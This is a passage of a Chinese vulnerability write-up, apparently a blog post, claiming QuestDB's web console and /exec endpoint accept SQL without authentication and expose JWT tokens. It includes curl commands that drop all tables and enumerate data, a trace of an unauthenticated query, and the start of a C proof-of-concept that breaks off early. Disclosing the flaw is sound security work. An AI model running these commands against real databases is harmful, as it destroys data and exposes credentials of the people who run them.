src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fbb7ba16150884a118d7b18c667945bd0~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DJdF%252BDQG9SbaEShF3XQOrvMPM6jY%253D" alt="截屏2026-03-04 下午11.26.40.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F2fa3556fe9564c2a9928296b162c9da9~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DWWT%252FcpOf4SOXp9HBi9AL5twuOro%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F2fa3556fe9564c2a9928296b162c9da9~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DWWT%252FcpOf4SOXp9HBi9AL5twuOro%253D" alt="截屏2026-03-04 下午11.28.10.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Ff3911b47bb22405aa3e41e1924111748~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DmAcfyzQVW8LpaX7gJV9e1gNjf18%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Ff3911b47bb22405aa3e41e1924111748~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DmAcfyzQVW8LpaX7gJV9e1gNjf18%253D" alt="截屏2026-03-04 下午11.24.26.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如图以上所示，在未经过任何认证的情况下，不仅可以直接访问QuestDB Web控制台并执行SQL查询，甚至可以查看到所有JWT令牌的明文信息，此类敏感凭据本应受到严格保护，绝不应在未经授权的访问中暴露。这一发现进一步印证了QuestDB认证机制的彻底失效，攻击者可借此获取高权限凭证，实现完全接管数据库实例。&lt;/p&gt;




&lt;p&gt;以下是恶意注入示例，任何人都可利用此类操作对系统造成破坏，示例如下：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; GET &lt;span class="s2"&gt;"http://localhost:9000/exec?query= DROP TABLES; "&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;或&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; GET &lt;span class="s2"&gt;"http://localhost:9000/exec?query= select * from tables(); "&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F114d7a6321a345b1b0a433b230c888b5~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3D7%252Bz12t3Z1Am1XzK%252FQ2H0bbv4O6g%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F114d7a6321a345b1b0a433b230c888b5~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3D7%252Bz12t3Z1Am1XzK%252FQ2H0bbv4O6g%253D" alt="截屏2026-03-04 下午11.58.08.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;该命令通过 curl 向本地 QuestDB 的 &lt;code&gt;/exec&lt;/code&gt; 接口发送 HTTP GET 请求，执行 SQL 查询 &lt;code&gt;select current_database(), current_user()&lt;/code&gt;（获取当前数据库名称和当前用户），并将完整的 HTTP 通信跟踪信息保存到 &lt;code&gt;dump.txt&lt;/code&gt; 文件中。由于 QuestDB 默认无认证，此操作可在无需任何凭证的情况下成功执行，从而泄露数据库敏感信息。&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--trace-ascii&lt;/span&gt; dump.txt &lt;span class="s2"&gt;"http://localhost:9000/exec?query=select%20current_database(),current_user()"&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;响应：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"query"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"select current_database(),current_user()"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"columns"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"current_database()"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STRING"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"current_user()"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STRING"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dataset"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"qdb"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"count"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;从十六进制转储文件中可以看出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;==&lt;/span&gt; Info: Host localhost:9000 was resolved.
&lt;span class="o"&gt;==&lt;/span&gt; Info: IPv6: ::1
&lt;span class="o"&gt;==&lt;/span&gt; Info: IPv4: 127.0.0.1
&lt;span class="o"&gt;==&lt;/span&gt; Info:   Trying &lt;span class="o"&gt;[&lt;/span&gt;::1]:9000...
&lt;span class="o"&gt;==&lt;/span&gt; Info: connect to ::1 port 9000 from ::1 port 53626 failed: Connection refused
&lt;span class="o"&gt;==&lt;/span&gt; Info:   Trying 127.0.0.1:9000...
&lt;span class="o"&gt;==&lt;/span&gt; Info: Connected to localhost &lt;span class="o"&gt;(&lt;/span&gt;127.0.0.1&lt;span class="o"&gt;)&lt;/span&gt; port 9000
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; Send header, 130 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x82&lt;span class="o"&gt;)&lt;/span&gt;
0000: GET /exec?query&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt;%20current_database&lt;span class="o"&gt;()&lt;/span&gt;,current_user&lt;span class="o"&gt;()&lt;/span&gt; HTTP/
0040: 1.1
0045: Host: localhost:9000
005b: User-Agent: curl/8.7.1
0073: Accept: &lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
0080: 
&lt;span class="o"&gt;==&lt;/span&gt; Info: Request completely sent off
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 17 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x11&lt;span class="o"&gt;)&lt;/span&gt;
0000: HTTP/1.1 200 OK
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 21 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x15&lt;span class="o"&gt;)&lt;/span&gt;
0000: Server: questDB/1.0
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 36 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x24&lt;span class="o"&gt;)&lt;/span&gt;
0000: Date: Thu, 5 Mar 2026 11:55:03 GMT
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 28 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x1c&lt;span class="o"&gt;)&lt;/span&gt;
0000: Transfer-Encoding: chunked
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 47 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x2f&lt;span class="o"&gt;)&lt;/span&gt;
0000: Content-Type: application/json&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;utf-8
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 34 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x22&lt;span class="o"&gt;)&lt;/span&gt;
0000: Keep-Alive: &lt;span class="nb"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5, &lt;span class="nv"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10000
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv header, 2 bytes &lt;span class="o"&gt;(&lt;/span&gt;0x2&lt;span class="o"&gt;)&lt;/span&gt;
0000: 
&amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; Recv data, 217 bytes &lt;span class="o"&gt;(&lt;/span&gt;0xd9&lt;span class="o"&gt;)&lt;/span&gt;
0000: &lt;span class="nb"&gt;cd
&lt;/span&gt;0004: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"select current_database(),current_user()"&lt;/span&gt;,&lt;span class="s2"&gt;"columns"&lt;/span&gt;:[&lt;span class="o"&gt;{&lt;/span&gt;
0044: &lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"current_database()"&lt;/span&gt;,&lt;span class="s2"&gt;"type"&lt;/span&gt;:&lt;span class="s2"&gt;"STRING"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"current_us
0084: er()"&lt;/span&gt;,&lt;span class="s2"&gt;"type"&lt;/span&gt;:&lt;span class="s2"&gt;"STRING"&lt;/span&gt;&lt;span class="o"&gt;}]&lt;/span&gt;,&lt;span class="s2"&gt;"timestamp"&lt;/span&gt;:-1,&lt;span class="s2"&gt;"dataset"&lt;/span&gt;:[[&lt;span class="s2"&gt;"qdb"&lt;/span&gt;,&lt;span class="s2"&gt;"admin"&lt;/span&gt;
00c4: &lt;span class="o"&gt;]]&lt;/span&gt;,&lt;span class="s2"&gt;"count"&lt;/span&gt;:1&lt;span class="o"&gt;}&lt;/span&gt;
00d3: 00
00d7: 
&lt;span class="o"&gt;==&lt;/span&gt; Info: Connection &lt;span class="c"&gt;#0 to host localhost left intact&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F6fcf2a1743dc4b7890e964346a084469~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DAr6gc3bixMekdWWb%252FVUWxuVN9OQ%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F6fcf2a1743dc4b7890e964346a084469~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DAr6gc3bixMekdWWb%252FVUWxuVN9OQ%253D" alt="截屏2026-03-05 下午7.57.23.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;现在假设我们在本地主机上创建一个名为 &lt;code&gt;cnvd&lt;/code&gt; 的表进行测试，如下所示，该操作可以成功写入数据，且此情况的前提是我的配置完全按照文档所述进行设置。这一过程无需任何身份验证即可完成，充分证明即便配置完全遵循文档要求，QuestDB 的认证机制依然处于失效状态，任何知晓服务地址的攻击者均可执行类似的数据定义与查询操作。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F92bf6f8e96a643ad9b48bd9a786c04bb~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3D%252Bj2V0rOytHxDXnvKkH44V8TLk%252Bs%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F92bf6f8e96a643ad9b48bd9a786c04bb~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3D%252Bj2V0rOytHxDXnvKkH44V8TLk%252Bs%253D" alt="截屏2026-03-05 上午12.02.09.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;之后查看表，确认是否已成功创建。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F2622dace3a8641dd9e211748fa6e163a~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DSGnNvINhpkTBxdiY%252BOB34dfUjn0%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2F2622dace3a8641dd9e211748fa6e163a~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3DSGnNvINhpkTBxdiY%252BOB34dfUjn0%253D" alt="截屏2026-03-05 上午12.03.18.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;以下是为验证我所发现漏洞而编写的概念验证POC代码。&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;time.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;getopt.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;curl/curl.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="cp"&gt;#define DEFAULT_PORT 9000
#define MAX_URL_LEN 512
#define MAX_QUERY_LEN 1024
#define RAND_CHARS "abcdefghijklmnopqrstuvwxyz"
&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;MemoryStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;memory_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="nf"&gt;WriteMemoryCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;content_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;element_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;element_count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;user_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;total_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;element_size&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;element_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;MemoryStruct&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;memory_struct&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;MemoryStruct&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;user_data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reallocated_memory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;realloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;total_size&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;reallocated_memory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"内存不足&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reallocated_memory&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
